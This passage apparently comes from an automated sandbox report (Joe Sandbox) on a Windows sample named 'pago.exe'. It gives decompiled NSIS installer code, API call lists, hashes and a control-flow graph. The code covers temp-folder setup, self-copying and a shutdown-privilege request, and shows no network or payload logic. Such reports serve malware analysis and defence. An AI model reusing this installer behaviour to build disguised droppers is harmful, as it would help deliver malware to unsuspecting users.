                                                                  																	}
                                                                  																}
                                                                  															}
                                                                  															 *0x436800 =  *0x436800 + 1;
                                                                  															_t61 =  &_v12;
                                                                  															 *_t61 = _v12 - 1;
                                                                  															__eflags =  *_t61;
                                                                  														} while ( *_t61 != 0);
                                                                  														E004062FD(_t202, _t235, 0);
                                                                  														goto L67;
                                                                  													}
                                                                  												}
                                                                  												 *_t219 = _t189;
                                                                  												_t222 =  &(_t219[2]);
                                                                  												_t158 = E00405F14(_t264,  &(_t219[2]));
                                                                  												_t265 = _t158;
                                                                  												if(_t158 == 0) {
                                                                  													goto L68;
                                                                  												}
                                                                  												E0040653D(0x440800, _t222);
                                                                  												E0040653D(0x441000, _t222);
                                                                  												_v8 = _t189;
                                                                  												goto L51;
                                                                  											}
                                                                  											asm("cdq");
                                                                  											asm("cdq");
                                                                  											asm("cdq");
                                                                  											_t205 = ( *0x40a27e & 0x0000ffff) << 0x00000010 | L" _?=" & 0x0000ffff;
                                                                  											_t168 = ( *0x40a282 & 0x0000ffff) << 0x00000010 |  *0x40a280 & 0x0000ffff | (_t210 << 0x00000020 |  *0x40a282 & 0x0000ffff) << 0x10;
                                                                  											while( *_t219 != _t205 || _t219[1] != _t168) {
                                                                  												_t219 = _t219;
                                                                  												if(_t219 >= 0x440000) {
                                                                  													continue;
                                                                  												}
                                                                  												break;
                                                                  											}
                                                                  											_t189 = 0;
                                                                  											goto L48;
                                                                  										}
                                                                  										GetWindowsDirectoryW(_t235, 0x3fb);
                                                                  										lstrcatW(_t235, L"\\Temp");
                                                                  										_t171 = E004034FC(_t199, _t253);
                                                                  										_t254 = _t171;
                                                                  										if(_t171 != 0) {
                                                                  											goto L40;
                                                                  										}
                                                                  										GetTempPathW(0x3fc, _t235);
                                                                  										lstrcatW(_t235, L"Low");
                                                                  										SetEnvironmentVariableW(L"TEMP", _t235);
                                                                  										SetEnvironmentVariableW(L"TMP", _t235);
                                                                  										_t176 = E004034FC(_t199, _t254);
                                                                  										_t255 = _t176;
                                                                  										if(_t176 == 0) {
                                                                  											goto L68;
                                                                  										}
                                                                  										goto L40;
                                                                  									}
                                                                  									goto L31;
                                                                  								}
                                                                  								__eflags =  *((intOrPtr*)(_t199 + 4)) - _t227;
                                                                  								if( *((intOrPtr*)(_t199 + 4)) != _t227) {
                                                                  									goto L29;
                                                                  								}
                                                                  								_t178 =  *((intOrPtr*)(_t199 + 8));
                                                                  								__eflags = _t178 - 0x20;
                                                                  								if(_t178 == 0x20) {
                                                                  									L28:
                                                                  									_t36 =  &_v20;
                                                                  									 *_t36 = _v20 | 0x00000004;
                                                                  									__eflags =  *_t36;
                                                                  									goto L29;
                                                                  								}
                                                                  								__eflags = _t178 - _t189;
                                                                  								if(_t178 != _t189) {
                                                                  									goto L29;
                                                                  								}
                                                                  								goto L28;
                                                                  							}
                                                                  							_t179 =  *((intOrPtr*)(_t199 + 2));
                                                                  							__eflags = _t179 - _t210;
                                                                  							if(_t179 == _t210) {
                                                                  								L23:
                                                                  								 *0x434fa0 = 1;
                                                                  								goto L24;
                                                                  							}
                                                                  							__eflags = _t179 - _t189;
                                                                  							if(_t179 != _t189) {
                                                                  								goto L24;
                                                                  							}
                                                                  							goto L23;
                                                                  						}
                                                                  					} else {
                                                                  						goto L16;
                                                                  					}
                                                                  					do {
                                                                  						L16:
                                                                  						_t199 = _t199 + 2;
                                                                  						__eflags =  *_t199 - _t210;
                                                                  					} while ( *_t199 == _t210);
                                                                  					goto L17;
                                                                  				}
                                                                  				goto L37;
                                                                  			}















































                                                                  0x0040353b
                                                                  0x0040353c
                                                                  0x00403543
                                                                  0x00403546
                                                                  0x0040354d
                                                                  0x00403550
                                                                  0x00403563
                                                                  0x00403569
                                                                  0x0040356c
                                                                  0x0040356f
                                                                  0x0040357d
                                                                  0x00403585
                                                                  0x00403590
                                                                  0x004035a9
                                                                  0x004035ab
                                                                  0x004035b3
                                                                  0x004035b3
                                                                  0x004035be
                                                                  0x004035c0
                                                                  0x004035c0
                                                                  0x004035d5
                                                                  0x004035fa
                                                                  0x00403608
                                                                  0x0040360b
                                                                  0x00403612
                                                                  0x00403619
                                                                  0x00403619
                                                                  0x00403612
                                                                  0x0040361b
                                                                  0x00403620
                                                                  0x00403621
                                                                  0x0040362d
                                                                  0x00403631
                                                                  0x00403638
                                                                  0x00403646
                                                                  0x0040364b
                                                                  0x00403652
                                                                  0x00403656
                                                                  0x0040365a
                                                                  0x0040365c
                                                                  0x0040365c
                                                                  0x0040365a
                                                                  0x00403663
                                                                  0x0040366a
                                                                  0x00403670
                                                                  0x00403688
                                                                  0x00403698
                                                                  0x004036aa
                                                                  0x004036b1
                                                                  0x004036b3
                                                                  0x004036b4
                                                                  0x004036c5
                                                                  0x004036c9
                                                                  0x004036c9
                                                                  0x004036dc
                                                                  0x004036de
                                                                  0x004037d8
                                                                  0x004037d8
                                                                  0x004037db
                                                                  0x004037de
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x004036e8
                                                                  0x004036e9
                                                                  0x004036ec
                                                                  0x004036f5
                                                                  0x004036f5
                                                                  0x004036f8
                                                                  0x004036fb
                                                                  0x004036fe
                                                                  0x00403701
                                                                  0x00403701
                                                                  0x00403701
                                                                  0x00403702
                                                                  0x00403706
                                                                  0x004037c6
                                                                  0x004037cf
                                                                  0x004037d1
                                                                  0x004037d4
                                                                  0x004037d7
                                                                  0x004037d7
                                                                  0x004037d7
                                                                  0x00000000
                                                                  0x0040370c
                                                                  0x0040370d
                                                                  0x0040370e
                                                                  0x00403712
                                                                  0x0040372c
                                                                  0x00403733
                                                                  0x00403746
                                                                  0x00403747
                                                                  0x0040375c
                                                                  0x00403761
                                                                  0x00403763
                                                                  0x00403765
                                                                  0x00403781
                                                                  0x00403788
                                                                  0x0040379b
                                                                  0x0040379c
                                                                  0x004037b1
                                                                  0x004037b7
                                                                  0x004037b9
                                                                  0x004037bb
                                                                  0x004037c3
                                                                  0x004037c5
                                                                  0x00000000
                                                                  0x004037c5
                                                                  0x004037bf
                                                                  0x004037c1
                                                                  0x004037e6
                                                                  0x004037ea
                                                                  0x004037f3
                                                                  0x004037f8
                                                                  0x004037fe
                                                                  0x00403809
                                                                  0x0040380b
                                                                  0x00403810
                                                                  0x00403812
                                                                  0x0040386a
                                                                  0x0040386f
                                                                  0x00403878
                                                                  0x0040387f
                                                                  0x00403882
                                                                  0x00403a59
                                                                  0x00403a59
                                                                  0x00403a5e
                                                                  0x00403a67
                                                                  0x00403a84
                                                                  0x00403afc
                                                                  0x00403afc
                                                                  0x00403b04
                                                                  0x00403b06
                                                                  0x00403b06
                                                                  0x00403b0c
                                                                  0x00403b0c
                                                                  0x00403a9b
                                                                  0x00403aa7
                                                                  0x00403ab8
                                                                  0x00403abf
                                                                  0x00403ac6
                                                                  0x00403ac6
                                                                  0x00403ace
                                                                  0x00403ada
                                                                  0x00403ae8
                                                                  0x00403af3
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00403adc
                                                                  0x00403adc
                                                                  0x00403add
                                                                  0x00403adf
                                                                  0x00403ae0
                                                                  0x00403ae1
                                                                  0x00403ae6
                                                                  0x00403af5
                                                                  0x00403af7
                                                                  0x00000000
                                                                  0x00403af7
                                                                  0x00000000
                                                                  0x00403ae6
                                                                  0x00403ada
                                                                  0x00403a71
                                                                  0x00403a78
                                                                  0x00403a78
                                                                  0x0040388e
                                                                  0x00403935
                                                                  0x00403935
                                                                  0x00403941
                                                                  0x00000000
                                                                  0x00403941
                                                                  0x0040389f
                                                                  0x004038a7
                                                                  0x004038f9
                                                                  0x004038f9
                                                                  0x004038ff
                                                                  0x00403906
                                                                  0x00403954
                                                                  0x00403956
                                                                  0x0040395b
                                                                  0x0040395d
                                                                  0x00403965
                                                                  0x00403965
                                                                  0x00403970
                                                                  0x0040397c
                                                                  0x00403982
                                                                  0x00403984
                                                                  0x00403a57
                                                                  0x00403a57
                                                                  0x00403a57
                                                                  0x00000000
                                                                  0x0040398a
                                                                  0x0040398a
                                                                  0x0040398c
                                                                  0x0040398d
                                                                  0x00403996
                                                                  0x0040398f
                                                                  0x0040398f
                                                                  0x0040398f
                                                                  0x0040399c
                                                                  0x004039a4
                                                                  0x004039ab
                                                                  0x004039b3
                                                                  0x004039b3
                                                                  0x004039c0
                                                                  0x004039cc
                                                                  0x004039d6
                                                                  0x004039d6
                                                                  0x004039d8
                                                                  0x004039df
                                                                  0x004039e9
                                                                  0x004039f5
                                                                  0x004039fb
                                                                  0x00403a01
                                                                  0x00403a04
                                                                  0x00403a0e
                                                                  0x00403a14
                                                                  0x00403a16
                                                                  0x00403a1a
                                                                  0x00403a2b
                                                                  0x00403a31
                                                                  0x00403a36
                                                                  0x00403a38
                                                                  0x00403a3b
                                                                  0x00403a41
                                                                  0x00403a41
                                                                  0x00403a38
                                                                  0x00403a16
                                                                  0x00403a44
                                                                  0x00403a4b
                                                                  0x00403a4b
                                                                  0x00403a4b
                                                                  0x00403a4b
                                                                  0x00403a52
                                                                  0x00000000
                                                                  0x00403a52
                                                                  0x00403984
                                                                  0x00403908
                                                                  0x0040390b
                                                                  0x0040390f
                                                                  0x00403914
                                                                  0x00403916
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00403922
                                                                  0x0040392d
                                                                  0x00403932
                                                                  0x00000000
                                                                  0x00403932
                                                                  0x004038b0
                                                                  0x004038c8
                                                                  0x004038d9
                                                                  0x004038da
                                                                  0x004038de
                                                                  0x004038e0
                                                                  0x004038ee
                                                                  0x004038f5
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x004038f5
                                                                  0x004038f7
                                                                  0x00000000
                                                                  0x004038f7
                                                                  0x0040381a
                                                                  0x00403826
                                                                  0x0040382b
                                                                  0x00403830
                                                                  0x00403832
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x0040383a
                                                                  0x00403842
                                                                  0x00403853
                                                                  0x0040385b
                                                                  0x0040385d
                                                                  0x00403862
                                                                  0x00403864
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00403864
                                                                  0x00000000
                                                                  0x004037c1
                                                                  0x0040376a
                                                                  0x0040376c
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x0040376e
                                                                  0x00403772
                                                                  0x00403776
                                                                  0x0040377d
                                                                  0x0040377d
                                                                  0x0040377d
                                                                  0x0040377d
                                                                  0x00000000
                                                                  0x0040377d
                                                                  0x00403778
                                                                  0x0040377b
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x0040377b
                                                                  0x00403714
                                                                  0x00403718
                                                                  0x0040371b
                                                                  0x00403722
                                                                  0x00403722
                                                                  0x00000000
                                                                  0x00403722
                                                                  0x0040371d
                                                                  0x00403720
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00403720
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x004036ee
                                                                  0x004036ee
                                                                  0x004036ef
                                                                  0x004036f0
                                                                  0x004036f0
                                                                  0x00000000
                                                                  0x004036ee
                                                                  0x00000000

                                                                  APIs
                                                                  • SetErrorMode.KERNELBASE(00008001), ref: 00403550
                                                                  • GetVersionExW.KERNEL32(?), ref: 00403579
                                                                  • GetVersionExW.KERNEL32(0000011C), ref: 00403590
                                                                  • lstrlenA.KERNEL32(UXTHEME,UXTHEME), ref: 00403627
                                                                  • #17.COMCTL32(00000007,00000009,0000000B), ref: 00403663
                                                                  • OleInitialize.OLE32(00000000), ref: 0040366A
                                                                  • SHGetFileInfoW.SHELL32(0042B228,00000000,?,000002B4,00000000), ref: 00403688
                                                                  • GetCommandLineW.KERNEL32(00433F00,NSIS Error), ref: 0040369D
                                                                  • CharNextW.USER32(00000000,00440000,00000020,00440000,00000000), ref: 004036D6
                                                                  • GetTempPathW.KERNEL32(00000400,C:\Users\user\AppData\Local\Temp\,00000000,?), ref: 00403809
                                                                  • GetWindowsDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,000003FB), ref: 0040381A
                                                                  • lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,\Temp), ref: 00403826
                                                                  • GetTempPathW.KERNEL32(000003FC,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,\Temp), ref: 0040383A
                                                                  • lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,Low), ref: 00403842
                                                                  • SetEnvironmentVariableW.KERNEL32(TEMP,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,Low), ref: 00403853
                                                                  • SetEnvironmentVariableW.KERNEL32(TMP,C:\Users\user\AppData\Local\Temp\), ref: 0040385B
                                                                  • DeleteFileW.KERNELBASE(1033), ref: 0040386F
                                                                  • lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,~nsu), ref: 00403956
                                                                  • lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,0040A26C), ref: 00403965
                                                                    • Part of subcall function 00405AEB: CreateDirectoryW.KERNELBASE(?,00000000,00403520,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403810), ref: 00405AF1
                                                                  • lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,.tmp), ref: 00403970
                                                                  • lstrcmpiW.KERNEL32(C:\Users\user\AppData\Local\Temp\,00441800,C:\Users\user\AppData\Local\Temp\,.tmp,C:\Users\user\AppData\Local\Temp\,~nsu,00440000,00000000,?), ref: 0040397C
                                                                  • SetCurrentDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\), ref: 0040399C
                                                                  • DeleteFileW.KERNEL32(0042AA28,0042AA28,?,00436000,?), ref: 004039FB
                                                                  • CopyFileW.KERNEL32(C:\Users\user\Desktop\pago.exe,0042AA28,00000001), ref: 00403A0E
                                                                  • CloseHandle.KERNEL32(00000000,0042AA28,0042AA28,?,0042AA28,00000000), ref: 00403A3B
                                                                  • OleUninitialize.OLE32(?), ref: 00403A5E
                                                                  • ExitProcess.KERNEL32 ref: 00403A78
                                                                  • GetCurrentProcess.KERNEL32(00000028,?), ref: 00403A8C
                                                                  • OpenProcessToken.ADVAPI32(00000000), ref: 00403A93
                                                                  • LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00403AA7
                                                                  • AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000), ref: 00403AC6
                                                                  • ExitWindowsEx.USER32(00000002,80040002), ref: 00403AEB
                                                                  • ExitProcess.KERNEL32 ref: 00403B0C
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.904731122.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                  • Associated: 00000000.00000002.904722931.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904789367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904817088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905080361.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905088398.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905099739.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905108669.000000000046A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905115425.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905121183.000000000046E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905134910.000000000047D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_400000_pago.jbxd
                                                                  Similarity
                                                                  • API ID: lstrcat$FileProcess$DirectoryExit$CurrentDeleteEnvironmentPathTempTokenVariableVersionWindows$AdjustCharCloseCommandCopyCreateErrorHandleInfoInitializeLineLookupModeNextOpenPrivilegePrivilegesUninitializeValuelstrcmpilstrlen
                                                                  • String ID: .tmp$1033$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop\pago.exe$Error launching installer$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$UXTHEME$\Temp$~nsu
                                                                  • API String ID: 3859024572-1965557244
                                                                  • Opcode ID: 7a788a85b9786d5a7ebd132106c546d121407ab0fc20c65c93ef4011eb75cbdd
                                                                  • Instruction ID: 4d4dc0a58e4858e72561def8a0259f0227da8af974c10a5ea2b310ef4b80d7a5
                                                                  • Opcode Fuzzy Hash: 7a788a85b9786d5a7ebd132106c546d121407ab0fc20c65c93ef4011eb75cbdd
                                                                  • Instruction Fuzzy Hash: 66E10670A00214AADB10AFB59D45BAF3AB8EF4470AF14847FF545B22D1DB7C8A41CB6D
                                                                  Uniqueness

                                                                  Uniqueness Score: -1.00%

                                                                  Control-flow Graph

                                                                  • Executed
                                                                  • Not Executed
                                                                  control_flow_graph 143 4056de-4056f9 144 405888-40588f 143->144 145 4056ff-4057c6 GetDlgItem * 3 call 4044ce call 404e27 GetClientRect GetSystemMetrics SendMessageW * 2 143->145 147 405891-4058b3 GetDlgItem CreateThread FindCloseChangeNotification 144->147 148 4058b9-4058c6 144->148 168 4057e4-4057e7 145->168 169 4057c8-4057e2 SendMessageW * 2 145->169 147->148 150 4058e4-4058ee 148->150 151 4058c8-4058ce 148->151 154 4058f0-4058f6 150->154 155 405944-405948 150->155 152 4058d0-4058df ShowWindow * 2 call 4044ce 151->152 153 405909-405912 call 404500 151->153 152->150 165 405917-40591b 153->165 158 4058f8-405904 call 404472 154->158 159 40591e-40592e ShowWindow 154->159 155->153 162 40594a-405950 155->162 158->153 166 405930-405939 call 40559f 159->166 167 40593e-40593f call 404472 159->167 162->153 163 405952-405965 SendMessageW 162->163 170 405a67-405a69 163->170 171 40596b-405996 CreatePopupMenu call 40657a AppendMenuW 163->171 166->167 167->155 172 4057f7-40580e call 404499 168->172 173 4057e9-4057f5 SendMessageW 168->173 169->168 170->165 180 405998-4059a8 GetWindowRect 171->180 181 4059ab-4059c0 TrackPopupMenu 171->181 182 405810-405824 ShowWindow 172->182 183 405844-405865 GetDlgItem SendMessageW 172->183 173->172 180->181 181->170 184 4059c6-4059dd 181->184 185 405833 182->185 186 405826-405831 ShowWindow 182->186 183->170 187 40586b-405883 SendMessageW * 2 183->187 188 4059e2-4059fd SendMessageW 184->188 189 405839-40583f call 4044ce 185->189 186->189 187->170 188->188 190 4059ff-405a22 OpenClipboard EmptyClipboard GlobalAlloc GlobalLock 188->190 189->183 192 405a24-405a4b SendMessageW 190->192 192->192 193 405a4d-405a61 GlobalUnlock SetClipboardData CloseClipboard 192->193 193->170
                                                                  C-Code - Quality: 96%
                                                                  			E004056DE(struct HWND__* _a4, long _a8, long _a12, unsigned int _a16) {
                                                                  				struct HWND__* _v8;
                                                                  				long _v12;
                                                                  				struct tagRECT _v28;
                                                                  				void* _v36;
                                                                  				signed int _v40;
                                                                  				int _v44;
                                                                  				int _v48;
                                                                  				signed int _v52;
                                                                  				int _v56;
                                                                  				void* _v60;
                                                                  				void* _v68;
                                                                  				void* __ebx;
                                                                  				void* __edi;
                                                                  				void* __esi;
                                                                  				struct HWND__* _t94;
                                                                  				long _t95;
                                                                  				int _t100;
                                                                  				int _t101;
                                                                  				long _t104;
                                                                  				void* _t108;
                                                                  				intOrPtr _t119;
                                                                  				void* _t127;
                                                                  				intOrPtr _t130;
                                                                  				struct HWND__* _t134;
                                                                  				int _t156;
                                                                  				int _t159;
                                                                  				struct HMENU__* _t164;
                                                                  				struct HWND__* _t168;
                                                                  				struct HWND__* _t169;
                                                                  				int _t171;
                                                                  				void* _t172;
                                                                  				short* _t173;
                                                                  				short* _t175;
                                                                  				int _t177;
                                                                  
                                                                  				_t169 =  *0x433ee4; // 0x103b0
                                                                  				_t156 = 0;
                                                                  				_v8 = _t169;
                                                                  				if(_a8 != 0x110) {
                                                                  					__eflags = _a8 - 0x405;
                                                                  					if(_a8 == 0x405) {
                                                                  						_t127 = CreateThread(0, 0, E00405672, GetDlgItem(_a4, 0x3ec), 0,  &_v12); // executed
                                                                  						FindCloseChangeNotification(_t127); // executed
                                                                  					}
                                                                  					__eflags = _a8 - 0x111;
                                                                  					if(_a8 != 0x111) {
                                                                  						L17:
                                                                  						_t171 = 1;
                                                                  						__eflags = _a8 - 0x404;
                                                                  						if(_a8 != 0x404) {
                                                                  							L25:
                                                                  							__eflags = _a8 - 0x7b;
                                                                  							if(_a8 != 0x7b) {
                                                                  								goto L20;
                                                                  							}
                                                                  							_t94 = _v8;
                                                                  							__eflags = _a12 - _t94;
                                                                  							if(_a12 != _t94) {
                                                                  								goto L20;
                                                                  							}
                                                                  							_t95 = SendMessageW(_t94, 0x1004, _t156, _t156);
                                                                  							__eflags = _t95 - _t156;
                                                                  							_a8 = _t95;
                                                                  							if(_t95 <= _t156) {
                                                                  								L36:
                                                                  								return 0;
                                                                  							}
                                                                  							_t164 = CreatePopupMenu();
                                                                  							AppendMenuW(_t164, _t156, _t171, E0040657A(_t156, _t164, _t171, _t156, 0xffffffe1));
                                                                  							_t100 = _a16;
                                                                  							__eflags = _a16 - 0xffffffff;
                                                                  							_t159 = _a16 >> 0x10;
                                                                  							if(_a16 == 0xffffffff) {
                                                                  								GetWindowRect(_v8,  &_v28);
                                                                  								_t100 = _v28.left;
                                                                  								_t159 = _v28.top;
                                                                  							}
                                                                  							_t101 = TrackPopupMenu(_t164, 0x180, _t100, _t159, _t156, _a4, _t156);
                                                                  							__eflags = _t101 - _t171;
                                                                  							if(_t101 == _t171) {
                                                                  								_v60 = _t156;
                                                                  								_v48 = 0x42d268;
                                                                  								_v44 = 0x1000;
                                                                  								_a4 = _a8;
                                                                  								do {
                                                                  									_a4 = _a4 - 1;
                                                                  									_t104 = SendMessageW(_v8, 0x1073, _a4,  &_v68);
                                                                  									__eflags = _a4 - _t156;
                                                                  									_t171 = _t171 + _t104 + 2;
                                                                  								} while (_a4 != _t156);
                                                                  								OpenClipboard(_t156);
                                                                  								EmptyClipboard();
                                                                  								_t108 = GlobalAlloc(0x42, _t171 + _t171);
                                                                  								_a4 = _t108;
                                                                  								_t172 = GlobalLock(_t108);
                                                                  								do {
                                                                  									_v48 = _t172;
                                                                  									_t173 = _t172 + SendMessageW(_v8, 0x1073, _t156,  &_v68) * 2;
                                                                  									 *_t173 = 0xd;
                                                                  									_t175 = _t173 + 2;
                                                                  									 *_t175 = 0xa;
                                                                  									_t172 = _t175 + 2;
                                                                  									_t156 = _t156 + 1;
                                                                  									__eflags = _t156 - _a8;
                                                                  								} while (_t156 < _a8);
                                                                  								GlobalUnlock(_a4);
                                                                  								SetClipboardData(0xd, _a4);
                                                                  								CloseClipboard();
                                                                  							}
                                                                  							goto L36;
                                                                  						}
                                                                  						__eflags =  *0x433ecc - _t156; // 0x0
                                                                  						if(__eflags == 0) {
                                                                  							ShowWindow( *0x434f08, 8);
                                                                  							__eflags =  *0x434f8c - _t156;
                                                                  							if( *0x434f8c == _t156) {
                                                                  								_t119 =  *0x42c240; // 0x4dbf9c
                                                                  								E0040559F( *((intOrPtr*)(_t119 + 0x34)), _t156);
                                                                  							}
                                                                  							E00404472(_t171);
                                                                  							goto L25;
                                                                  						}
                                                                  						 *0x42ba38 = 2;
                                                                  						E00404472(0x78);
                                                                  						goto L20;
                                                                  					} else {
                                                                  						__eflags = _a12 - 0x403;
                                                                  						if(_a12 != 0x403) {
                                                                  							L20:
                                                                  							return E00404500(_a8, _a12, _a16);
                                                                  						}
                                                                  						ShowWindow( *0x433ed0, _t156);
                                                                  						ShowWindow(_t169, 8);
                                                                  						E004044CE(_t169);
                                                                  						goto L17;
                                                                  					}
                                                                  				}
                                                                  				_v52 = _v52 | 0xffffffff;
                                                                  				_v40 = _v40 | 0xffffffff;
                                                                  				_t177 = 2;
                                                                  				_v60 = _t177;
                                                                  				_v56 = 0;
                                                                  				_v48 = 0;
                                                                  				_v44 = 0;
                                                                  				asm("stosd");
                                                                  				asm("stosd");
                                                                  				_t130 =  *0x434f10;
                                                                  				_a8 =  *((intOrPtr*)(_t130 + 0x5c));
                                                                  				_a12 =  *((intOrPtr*)(_t130 + 0x60));
                                                                  				 *0x433ed0 = GetDlgItem(_a4, 0x403);
                                                                  				 *0x433ec8 = GetDlgItem(_a4, 0x3ee);
                                                                  				_t134 = GetDlgItem(_a4, 0x3f8);
                                                                  				 *0x433ee4 = _t134;
                                                                  				_v8 = _t134;
                                                                  				E004044CE( *0x433ed0);
                                                                  				 *0x433ed4 = E00404E27(4);
                                                                  				 *0x433eec = 0;
                                                                  				GetClientRect(_v8,  &_v28);
                                                                  				_v52 = _v28.right - GetSystemMetrics(_t177);
                                                                  				SendMessageW(_v8, 0x1061, 0,  &_v60); // executed
                                                                  				SendMessageW(_v8, 0x1036, 0x4000, 0x4000); // executed
                                                                  				if(_a8 >= 0) {
                                                                  					SendMessageW(_v8, 0x1001, 0, _a8);
                                                                  					SendMessageW(_v8, 0x1026, 0, _a8);
                                                                  				}
                                                                  				if(_a12 >= _t156) {
                                                                  					SendMessageW(_v8, 0x1024, _t156, _a12);
                                                                  				}
                                                                  				_push( *((intOrPtr*)(_a16 + 0x30)));
                                                                  				_push(0x1b);
                                                                  				E00404499(_a4);
                                                                  				if(( *0x434f18 & 0x00000003) != 0) {
                                                                  					ShowWindow( *0x433ed0, _t156);
                                                                  					if(( *0x434f18 & 0x00000002) != 0) {
                                                                  						 *0x433ed0 = _t156;
                                                                  					} else {
                                                                  						ShowWindow(_v8, 8);
                                                                  					}
                                                                  					E004044CE( *0x433ec8);
                                                                  				}
                                                                  				_t168 = GetDlgItem(_a4, 0x3ec);
                                                                  				SendMessageW(_t168, 0x401, _t156, 0x75300000);
                                                                  				if(( *0x434f18 & 0x00000004) != 0) {
                                                                  					SendMessageW(_t168, 0x409, _t156, _a12);
                                                                  					SendMessageW(_t168, 0x2001, _t156, _a8);
                                                                  				}
                                                                  				goto L36;
                                                                  			}





































                                                                  0x004056e6
                                                                  0x004056ec
                                                                  0x004056f6
                                                                  0x004056f9
                                                                  0x00405888
                                                                  0x0040588f
                                                                  0x004058ac
                                                                  0x004058b3
                                                                  0x004058b3
                                                                  0x004058b9
                                                                  0x004058c6
                                                                  0x004058e4
                                                                  0x004058e6
                                                                  0x004058e7
                                                                  0x004058ee
                                                                  0x00405944
                                                                  0x00405944
                                                                  0x00405948
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x0040594a
                                                                  0x0040594d
                                                                  0x00405950
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x0040595a
                                                                  0x00405960
                                                                  0x00405962
                                                                  0x00405965
                                                                  0x00405a67
                                                                  0x00000000
                                                                  0x00405a67
                                                                  0x00405974
                                                                  0x0040597f
                                                                  0x00405988
                                                                  0x0040598f
                                                                  0x00405993
                                                                  0x00405996
                                                                  0x0040599f
                                                                  0x004059a5
                                                                  0x004059a8
                                                                  0x004059a8
                                                                  0x004059b8
                                                                  0x004059be
                                                                  0x004059c0
                                                                  0x004059c9
                                                                  0x004059cc
                                                                  0x004059d3
                                                                  0x004059da
                                                                  0x004059e2
                                                                  0x004059e2
                                                                  0x004059f0
                                                                  0x004059f6
                                                                  0x004059f9
                                                                  0x004059f9
                                                                  0x00405a00
                                                                  0x00405a06
                                                                  0x00405a12
                                                                  0x00405a19
                                                                  0x00405a22
                                                                  0x00405a24
                                                                  0x00405a27
                                                                  0x00405a36
                                                                  0x00405a39
                                                                  0x00405a3f
                                                                  0x00405a40
                                                                  0x00405a46
                                                                  0x00405a47
                                                                  0x00405a48
                                                                  0x00405a48
                                                                  0x00405a50
                                                                  0x00405a5b
                                                                  0x00405a61
                                                                  0x00405a61
                                                                  0x00000000
                                                                  0x004059c0
                                                                  0x004058f0
                                                                  0x004058f6
                                                                  0x00405926
                                                                  0x00405928
                                                                  0x0040592e
                                                                  0x00405930
                                                                  0x00405939
                                                                  0x00405939
                                                                  0x0040593f
                                                                  0x00000000
                                                                  0x0040593f
                                                                  0x004058fa
                                                                  0x00405904
                                                                  0x00000000
                                                                  0x004058c8
                                                                  0x004058c8
                                                                  0x004058ce
                                                                  0x00405909
                                                                  0x00000000
                                                                  0x00405912
                                                                  0x004058d7
                                                                  0x004058dc
                                                                  0x004058df
                                                                  0x00000000
                                                                  0x004058df
                                                                  0x004058c6
                                                                  0x004056ff
                                                                  0x00405703
                                                                  0x0040570b
                                                                  0x0040570f
                                                                  0x00405712
                                                                  0x00405715
                                                                  0x00405718
                                                                  0x0040571b
                                                                  0x0040571c
                                                                  0x0040571d
                                                                  0x00405736
                                                                  0x00405739
                                                                  0x00405743
                                                                  0x00405752
                                                                  0x0040575a
                                                                  0x00405762
                                                                  0x00405767
                                                                  0x0040576a
                                                                  0x00405776
                                                                  0x0040577f
                                                                  0x00405788
                                                                  0x004057aa
                                                                  0x004057b0
                                                                  0x004057c1
                                                                  0x004057c6
                                                                  0x004057d4
                                                                  0x004057e2
                                                                  0x004057e2
                                                                  0x004057e7
                                                                  0x004057f5
                                                                  0x004057f5
                                                                  0x004057fa
                                                                  0x004057fd
                                                                  0x00405802
                                                                  0x0040580e
                                                                  0x00405817
                                                                  0x00405824
                                                                  0x00405833
                                                                  0x00405826
                                                                  0x0040582b
                                                                  0x0040582b
                                                                  0x0040583f
